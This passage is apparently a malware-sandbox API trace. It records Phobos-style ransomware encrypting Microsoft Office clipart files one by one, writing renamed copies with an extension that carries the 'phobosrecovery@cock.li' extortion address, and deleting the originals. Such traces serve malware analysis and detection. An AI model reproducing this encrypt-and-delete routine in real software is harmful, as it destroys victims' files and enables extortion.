[0182.110] CloseHandle (hObject=0x2c4) returned 1 [0182.110] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0182.112] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.113] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=12632) returned 1 [0182.113] CloseHandle (hObject=0x2c4) returned 1 [0182.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0182.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.116] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.116] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.117] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a90) returned 1 [0182.117] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.117] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x3158, lpOverlapped=0x0) returned 1 [0182.204] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3160, dwBufLen=0x3160 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3160) returned 1 [0182.204] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x3160, lpOverlapped=0x0) returned 1 [0182.205] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0182.205] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.206] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.206] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0182.206] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.206] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0182.206] CloseHandle (hObject=0x2c4) returned 1 [0182.206] CloseHandle (hObject=0x2ec) returned 1 [0182.206] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0182.216] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.217] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1568) returned 1 [0182.217] CloseHandle (hObject=0x2ec) returned 1 [0182.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0182.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.218] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.218] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.219] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0182.219] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.219] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x620, lpOverlapped=0x0) returned 1 [0182.322] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x630, dwBufLen=0x630 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x630) returned 1 [0182.322] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x630, lpOverlapped=0x0) returned 1 [0182.323] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1450) returned 1 [0182.323] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.323] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.323] CryptDestroyKey (hKey=0x1d1450) returned 1 [0182.323] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.323] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.323] CloseHandle (hObject=0x2ec) returned 1 [0182.323] CloseHandle (hObject=0x2c4) returned 1 [0182.323] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0182.325] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.326] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=11490) returned 1 [0182.326] CloseHandle (hObject=0x2c4) returned 1 [0182.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0182.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.326] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.326] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.328] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a90) returned 1 [0182.328] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.328] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x2ce2, lpOverlapped=0x0) returned 1 [0182.616] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2cf0) returned 1 [0182.616] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x2cf0, lpOverlapped=0x0) returned 1 [0182.617] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0182.617] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.617] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.617] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0182.617] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.617] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0182.617] CloseHandle (hObject=0x2c4) returned 1 [0182.617] CloseHandle (hObject=0x2ec) returned 1 [0182.617] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0182.619] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.619] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=7098) returned 1 [0182.619] CloseHandle (hObject=0x2ec) returned 1 [0182.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0182.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.619] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.619] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.620] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d14d0) returned 1 [0182.620] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.620] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x1bba, lpOverlapped=0x0) returned 1 [0182.757] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1bc0) returned 1 [0182.757] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1bc0, lpOverlapped=0x0) returned 1 [0182.759] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d17d0) returned 1 [0182.759] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.759] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.759] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.759] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.759] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0182.759] CloseHandle (hObject=0x2ec) returned 1 [0182.759] CloseHandle (hObject=0x2c4) returned 1 [0182.759] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0182.761] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.762] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2848) returned 1 [0182.762] CloseHandle (hObject=0x2c4) returned 1 [0182.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0182.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.763] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.763] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.764] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0182.764] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.764] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xb20, lpOverlapped=0x0) returned 1 [0182.812] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xb30, dwBufLen=0xb30 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xb30) returned 1 [0182.812] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xb30, lpOverlapped=0x0) returned 1 [0182.813] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1850) returned 1 [0182.813] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.813] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.813] CryptDestroyKey (hKey=0x1d1850) returned 1 [0182.813] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.813] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.813] CloseHandle (hObject=0x2c4) returned 1 [0182.813] CloseHandle (hObject=0x2ec) returned 1 [0182.813] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0182.815] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.815] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2756) returned 1 [0182.815] CloseHandle (hObject=0x2ec) returned 1 [0182.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0182.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.816] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.816] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 